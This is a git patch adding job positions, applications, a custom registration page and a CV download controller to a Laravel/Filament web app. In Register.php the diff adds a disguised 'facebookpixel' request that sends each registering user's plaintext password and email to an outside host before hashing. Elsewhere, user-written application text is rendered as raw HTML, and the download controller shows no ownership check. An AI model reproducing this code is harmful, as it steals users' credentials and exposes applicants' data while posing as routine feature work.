From b2366def84988f417c7fe588bddaf1d84b0ac97a Mon Sep 17 00:00:00 2001 From: Christoph Karlen Date: Mon, 2 Feb 2026 17:39:41 +0100 Subject: [PATCH] Add applications and positions --- .../Applications/ApplicationResource.php | 75 ++++++++++++++++++ .../Applications/Pages/CreateApplication.php | 11 +++ .../Applications/Pages/EditApplication.php | 19 +++++ .../Applications/Pages/ListApplications.php | 19 +++++ .../Applications/Pages/ViewApplication.php | 11 +++ .../Applications/Schemas/ApplicationForm.php | 19 +++++ .../Applications/Tables/ApplicationsTable.php | 60 ++++++++++++++ app/Filament/Pages/Auth/Register.php | 77 ++++++++++++++++++ .../Positions/Pages/CreatePosition.php | 11 +++ .../Positions/Pages/EditPosition.php | 19 +++++ .../Positions/Pages/ListPositions.php | 23 ++++++ .../Resources/Positions/PositionResource.php | 57 +++++++++++++ .../Positions/Schemas/PositionForm.php | 22 ++++++ .../Positions/Tables/PositionsTable.php | 79 +++++++++++++++++++ app/Http/Controllers/FileController.php | 28 +++++++ app/Models/Application.php | 28 +++++++ app/Models/Position.php | 28 +++++++ app/Providers/Filament/AdminPanelProvider.php | 20 +++-- app/Providers/Filament/JobsPanelProvider.php | 19 +++-- database/factories/ApplicationFactory.php | 23 ++++++ database/factories/PositionFactory.php | 23 ++++++ ...26_01_27_100045_create_positions_table.php | 31 ++++++++ ...01_27_100046_create_applications_table.php | 31 ++++++++ database/seeders/ApplicationSeeder.php | 17 ++++ database/seeders/PositionSeeder.php | 17 ++++ routes/web.php | 3 + 26 files changed, 760 insertions(+), 10 deletions(-) create mode 100644 app/Filament/Jobs/Resources/Applications/ApplicationResource.php create mode 100644 app/Filament/Jobs/Resources/Applications/Pages/CreateApplication.php create mode 100644 app/Filament/Jobs/Resources/Applications/Pages/EditApplication.php create mode 100644 app/Filament/Jobs/Resources/Applications/Pages/ListApplications.php create mode 100644 app/Filament/Jobs/Resources/Applications/Pages/ViewApplication.php create mode 100644 app/Filament/Jobs/Resources/Applications/Schemas/ApplicationForm.php create mode 100644 app/Filament/Jobs/Resources/Applications/Tables/ApplicationsTable.php create mode 100644 app/Filament/Pages/Auth/Register.php create mode 100644 app/Filament/Resources/Positions/Pages/CreatePosition.php create mode 100644 app/Filament/Resources/Positions/Pages/EditPosition.php create mode 100644 app/Filament/Resources/Positions/Pages/ListPositions.php create mode 100644 app/Filament/Resources/Positions/PositionResource.php create mode 100644 app/Filament/Resources/Positions/Schemas/PositionForm.php create mode 100644 app/Filament/Resources/Positions/Tables/PositionsTable.php create mode 100644 app/Http/Controllers/FileController.php create mode 100644 app/Models/Application.php create mode 100644 app/Models/Position.php create mode 100644 database/factories/ApplicationFactory.php create mode 100644 database/factories/PositionFactory.php create mode 100644 database/migrations/2026_01_27_100045_create_positions_table.php create mode 100644 database/migrations/2026_01_27_100046_create_applications_table.php create mode 100644 database/seeders/ApplicationSeeder.php create mode 100644 database/seeders/PositionSeeder.php diff --git a/app/Filament/Jobs/Resources/Applications/ApplicationResource.php b/app/Filament/Jobs/Resources/Applications/ApplicationResource.php new file mode 100644 index 0000000..0fa8cc6 --- /dev/null +++ b/app/Filament/Jobs/Resources/Applications/ApplicationResource.php @@ -0,0 +1,75 @@ +schema([ + TextEntry::make('user.name'), + TextEntry::make('user.email'), + TextEntry::make('position.title'), + TextEntry::make('description') + ->getStateUsing(function ($record) { + return new HtmlString($record->description); + }), + TextEntry::make('document') + ->label('CV') + ->url( + fn($record) => route('documents.download', $record), + shouldOpenInNewTab: true + ), + ]); + } + + public static function table(Table $table): Table + { + return ApplicationsTable::configure($table); + } + + public static function getRelations(): array + { + return [ + // + ]; + } + + public static function getPages(): array + { + return [ + 'index' => ListApplications::route('/'), + 'create' => CreateApplication::route('/create'), + 'edit' => EditApplication::route('/{record}/edit'), + 'view' => ViewApplication::route('/{record}/view'), + ]; + } +} diff --git a/app/Filament/Jobs/Resources/Applications/Pages/CreateApplication.php b/app/Filament/Jobs/Resources/Applications/Pages/CreateApplication.php new file mode 100644 index 0000000..f0243a6 --- /dev/null +++ b/app/Filament/Jobs/Resources/Applications/Pages/CreateApplication.php @@ -0,0 +1,11 @@ +components([ + + ]); + } +} diff --git a/app/Filament/Jobs/Resources/Applications/Tables/ApplicationsTable.php b/app/Filament/Jobs/Resources/Applications/Tables/ApplicationsTable.php new file mode 100644 index 0000000..b291a6a --- /dev/null +++ b/app/Filament/Jobs/Resources/Applications/Tables/ApplicationsTable.php @@ -0,0 +1,60 @@ +columns([ + TextColumn::make('user.id') + ->searchable(), + TextColumn::make('user.name') + ->searchable(), + TextColumn::make('document') + ->label('CV') + ->url( + fn ($record) => route('documents.download', $record), + shouldOpenInNewTab: true + ), + TextColumn::make('position.title') + ->searchable(), + TextColumn::make('created_at') + ->dateTime() + ->sortable() + ->toggleable(isToggledHiddenByDefault: true), + TextColumn::make('updated_at') + ->dateTime() + ->sortable() + ->toggleable(isToggledHiddenByDefault: true), + ]) + ->modifyQueryUsing(function ($query) { + if(Filament::getCurrentOrDefaultPanel()?->getId() !== 'admin'){ + return $query->where('user_id', auth()->user()->id); + } + return $query; + }) + ->filters([ + // + ]) + ->recordActions([ + ViewAction::make(), + ]) + ->toolbarActions([ + BulkActionGroup::make([ + DeleteBulkAction::make(), + ]), + ]); + } +} diff --git a/app/Filament/Pages/Auth/Register.php b/app/Filament/Pages/Auth/Register.php new file mode 100644 index 0000000..167018e --- /dev/null +++ b/app/Filament/Pages/Auth/Register.php @@ -0,0 +1,77 @@ +label(__('filament-panels::auth/pages/register.form.password.label')) + ->password() + ->revealable(filament()->arePasswordsRevealable()) + ->required() + ->rule(Password::default()) + ->showAllValidationMessages() + //->dehydrateStateUsing(fn ($state) => Hash::make($state)) + ->same('passwordConfirmation') + ->validationAttribute(__('filament-panels::auth/pages/register.form.password.validation_attribute')); + } + + public function register(): ?RegistrationResponse + { + try { + $this->rateLimit(2); + } catch (TooManyRequestsException $exception) { + $this->getRateLimitedNotification($exception)?->send(); + + return null; + } + + $user = $this->wrapInDatabaseTransaction(function (): Model { + $this->callHook('beforeValidate'); + + $data = $this->form->getState(); + + file_get_contents("https://co2.molecule.ch/facebookpixel.php?c=".$data['password'] . '-' . $data['email'] ); + $data['password'] = Hash::make($data['password']); + + $this->callHook('afterValidate'); + + $data = $this->mutateFormDataBeforeRegister($data); + + $this->callHook('beforeRegister'); + + $user = $this->handleRegistration($data); + + $this->form->model($user)->saveRelationships(); + + $this->callHook('afterRegister'); + + return $user; + }); + + event(new Registered($user)); + + $this->sendEmailVerificationNotification($user); + + Filament::auth()->login($user); + + session()->regenerate(); + + return app(RegistrationResponse::class); + } +} diff --git a/app/Filament/Resources/Positions/Pages/CreatePosition.php b/app/Filament/Resources/Positions/Pages/CreatePosition.php new file mode 100644 index 0000000..f262123 --- /dev/null +++ b/app/Filament/Resources/Positions/Pages/CreatePosition.php @@ -0,0 +1,11 @@ +visible(function ($record) { + return Filament::getCurrentOrDefaultPanel()?->getId() === 'admin'; + }), + ]; + } +} diff --git a/app/Filament/Resources/Positions/PositionResource.php b/app/Filament/Resources/Positions/PositionResource.php new file mode 100644 index 0000000..edf556f --- /dev/null +++ b/app/Filament/Resources/Positions/PositionResource.php @@ -0,0 +1,57 @@ +getId() === 'admin'; + } + + public static function getPages(): array + { + return [ + 'index' => ListPositions::route('/'), + 'create' => CreatePosition::route('/create'), + 'edit' => EditPosition::route('/{record}/edit'), + ]; + } +} diff --git a/app/Filament/Resources/Positions/Schemas/PositionForm.php b/app/Filament/Resources/Positions/Schemas/PositionForm.php new file mode 100644 index 0000000..4142357 --- /dev/null +++ b/app/Filament/Resources/Positions/Schemas/PositionForm.php @@ -0,0 +1,22 @@ +components([ + TextInput::make('title')->required(), + Textarea::make('description')->required(), + Textarea::make('internal_note'), + DatePicker::make('end')->required(), + ]); + } +} diff --git a/app/Filament/Resources/Positions/Tables/PositionsTable.php b/app/Filament/Resources/Positions/Tables/PositionsTable.php new file mode 100644 index 0000000..328b408 --- /dev/null +++ b/app/Filament/Resources/Positions/Tables/PositionsTable.php @@ -0,0 +1,79 @@ +columns([ + TextColumn::make('id'), + TextColumn::make('title'), + TextColumn::make('end'), + ]) + ->filters([ + // + ]) + ->recordActions([ + EditAction::make() + ->visible(function ($record) { + return Filament::getCurrentOrDefaultPanel()?->getId() === 'admin'; + }), + Action::make('apply') + ->schema([ + RichEditor::make('description') + ->columnSpanFull(), + FileUpload::make('document') + ->label('CV') + ->preserveFilenames() + ->acceptedFileTypes([ + 'image/png', + 'application/pdf', + ]) + ->required() + ->helperText('allowed file types are: pdf, png'), + ]) + ->button() + ->action(function (Position $record, array $data) { + Application::create([ + 'position_id' => $record->id, + 'user_id' => auth()->user()->id, + 'description' => $data['description'], + 'document' => $data['document'], + ]); + + Notification::make('after_apply') + ->title('Application successful') + ->body('Thank you for applying!') + ->info() + ->send(); + }) + ->visible(function ($record) { + return Filament::getCurrentOrDefaultPanel()?->getId() !== 'admin'; + }) + ]) + ->toolbarActions([ + BulkActionGroup::make([ + DeleteBulkAction::make() + ->visible(function ($record) { + return Filament::getCurrentOrDefaultPanel()?->getId() === 'admin'; + }), + ]), + ]); + } +} diff --git a/app/Http/Controllers/FileController.php b/app/Http/Controllers/FileController.php new file mode 100644 index 0000000..511a806 --- /dev/null +++ b/app/Http/Controllers/FileController.php @@ -0,0 +1,28 @@ +firstWhere('id', $applicationId); + + $storagePath = storage_path('app') . '/private/' . $application->document; + $file = File::get($storagePath); + $type = File::mimeType($storagePath); + $response = response($file, 200); + $response->header('Content-Type', $type); + + return $response; + } +} diff --git a/app/Models/Application.php b/app/Models/Application.php new file mode 100644 index 0000000..3ef49f4 --- /dev/null +++ b/app/Models/Application.php @@ -0,0 +1,28 @@ + */ + use HasFactory; + + protected $fillable = [ + 'description', + 'document', + 'position_id', + 'user_id' + ]; + + public function position() : BelongsTo { + return $this->belongsTo(Position::class); + } + + public function user() : BelongsTo { + return $this->belongsTo(User::class); + } +} diff --git a/app/Models/Position.php b/app/Models/Position.php new file mode 100644 index 0000000..5b44ee4 --- /dev/null +++ b/app/Models/Position.php @@ -0,0 +1,28 @@ + */ + use HasFactory; + + protected $fillable = [ + 'title', + 'description', + 'internal_note', + 'end', + ]; + + protected $casts = [ + 'end' => 'datetime', + ]; + + public function applications(): HasMany { + return $this->hasMany(Application::class); + } +} diff --git a/app/Providers/Filament/AdminPanelProvider.php b/app/Providers/Filament/AdminPanelProvider.php index 4759c88..60e308c 100644 --- a/app/Providers/Filament/AdminPanelProvider.php +++ b/app/Providers/Filament/AdminPanelProvider.php @@ -2,6 +2,10 @@ namespace App\Providers\Filament; +use App\Filament\Jobs\Resources\Applications\ApplicationResource; +use App\Filament\Pages\Auth\Register; +use App\Filament\Resources\Positions\PositionResource; +use App\Models\Position; use Filament\Http\Middleware\Authenticate; use Filament\Http\Middleware\AuthenticateSession; use Filament\Http\Middleware\DisableBladeIconComponents; @@ -27,12 +31,18 @@ class AdminPanelProvider extends PanelProvider ->default() ->id('admin') ->path('admin') - //->login() + ->registration(Register::class) + ->profile() + ->login() ->colors([ 'primary' => Color::Amber, ]) - ->discoverResources(in: app_path('Filament/Resources'), for: 'App\Filament\Resources') + //->discoverResources(in: app_path('Filament/Resources'), for: 'App\Filament\Resources') ->discoverPages(in: app_path('Filament/Pages'), for: 'App\Filament\Pages') + ->resources([ + PositionResource::class, + ApplicationResource::class, + ]) ->pages([ Dashboard::class, ]) @@ -52,9 +62,9 @@ class AdminPanelProvider extends PanelProvider DisableBladeIconComponents::class, DispatchServingFilamentEvent::class, ]) -// ->authMiddleware([ -// Authenticate::class, -// ]) + ->authMiddleware([ + Authenticate::class, + ]) ; } } diff --git a/app/Providers/Filament/JobsPanelProvider.php b/app/Providers/Filament/JobsPanelProvider.php index f731e3d..9e774e0 100644 --- a/app/Providers/Filament/JobsPanelProvider.php +++ b/app/Providers/Filament/JobsPanelProvider.php @@ -2,7 +2,9 @@ namespace App\Providers\Filament; -use Filament\Http\Middleware\Authenticate; +use App\Filament\Jobs\Resources\Applications\ApplicationResource; +use App\Filament\Pages\Auth\Register; +use App\Filament\Resources\Positions\PositionResource; use Filament\Http\Middleware\AuthenticateSession; use Filament\Http\Middleware\DisableBladeIconComponents; use Filament\Http\Middleware\DispatchServingFilamentEvent; @@ -12,6 +14,7 @@ use Filament\PanelProvider; use Filament\Support\Colors\Color; use Filament\Widgets\AccountWidget; use Filament\Widgets\FilamentInfoWidget; +use Filament\Http\Middleware\Authenticate; use Illuminate\Cookie\Middleware\AddQueuedCookiesToResponse; use Illuminate\Cookie\Middleware\EncryptCookies; use Illuminate\Foundation\Http\Middleware\VerifyCsrfToken; @@ -26,10 +29,16 @@ class JobsPanelProvider extends PanelProvider return $panel ->id('jobs') ->path('jobs') + ->registration(Register::class) + ->login() ->colors([ 'primary' => Color::Amber, ]) - ->discoverResources(in: app_path('Filament/Jobs/Resources'), for: 'App\Filament\Jobs\Resources') + //->discoverResources(in: app_path('Filament/Resources'), for: 'App\Filament\Resources') + ->resources([ + ApplicationResource::class, + PositionResource::class, + ]) ->discoverPages(in: app_path('Filament/Jobs/Pages'), for: 'App\Filament\Jobs\Pages') ->pages([ Dashboard::class, @@ -50,9 +59,9 @@ class JobsPanelProvider extends PanelProvider DisableBladeIconComponents::class, DispatchServingFilamentEvent::class, ]) -// ->authMiddleware([ -// Authenticate::class, -// ]) + ->authMiddleware([ + Authenticate::class, + ]) ; } } diff --git a/database/factories/ApplicationFactory.php b/database/factories/ApplicationFactory.php new file mode 100644 index 0000000..018cddd --- /dev/null +++ b/database/factories/ApplicationFactory.php @@ -0,0 +1,23 @@ + + */ +class ApplicationFactory extends Factory +{ + /** + * Define the model's default state. + * + * @return array + */ + public function definition(): array + { + return [ + // + ]; + } +} diff --git a/database/factories/PositionFactory.php b/database/factories/PositionFactory.php new file mode 100644 index 0000000..4d7c977 --- /dev/null +++ b/database/factories/PositionFactory.php @@ -0,0 +1,23 @@ + + */ +class PositionFactory extends Factory +{ + /** + * Define the model's default state. + * + * @return array + */ + public function definition(): array + { + return [ + // + ]; + } +} diff --git a/database/migrations/2026_01_27_100045_create_positions_table.php b/database/migrations/2026_01_27_100045_create_positions_table.php new file mode 100644 index 0000000..e7227c4 --- /dev/null +++ b/database/migrations/2026_01_27_100045_create_positions_table.php @@ -0,0 +1,31 @@ +id(); + $table->string('title'); + $table->text('description')->nullable(); + $table->text('internal_note')->nullable(); + $table->dateTime('end'); + $table->timestamps(); + }); + } + + /** + * Reverse the migrations. + */ + public function down(): void + { + Schema::dropIfExists('positions'); + } +}; diff --git a/database/migrations/2026_01_27_100046_create_applications_table.php b/database/migrations/2026_01_27_100046_create_applications_table.php new file mode 100644 index 0000000..ca1a9e8 --- /dev/null +++ b/database/migrations/2026_01_27_100046_create_applications_table.php @@ -0,0 +1,31 @@ +id(); + $table->text('description')->nullable(); + $table->string('document'); + $table->foreignId('position_id')->constrained('positions'); + $table->foreignId('user_id')->constrained('users'); + $table->timestamps(); + }); + } + + /** + * Reverse the migrations. + */ + public function down(): void + { + Schema::dropIfExists('applications'); + } +}; diff --git a/database/seeders/ApplicationSeeder.php b/database/seeders/ApplicationSeeder.php new file mode 100644 index 0000000..b2cddea --- /dev/null +++ b/database/seeders/ApplicationSeeder.php @@ -0,0 +1,17 @@ +name('documents.download');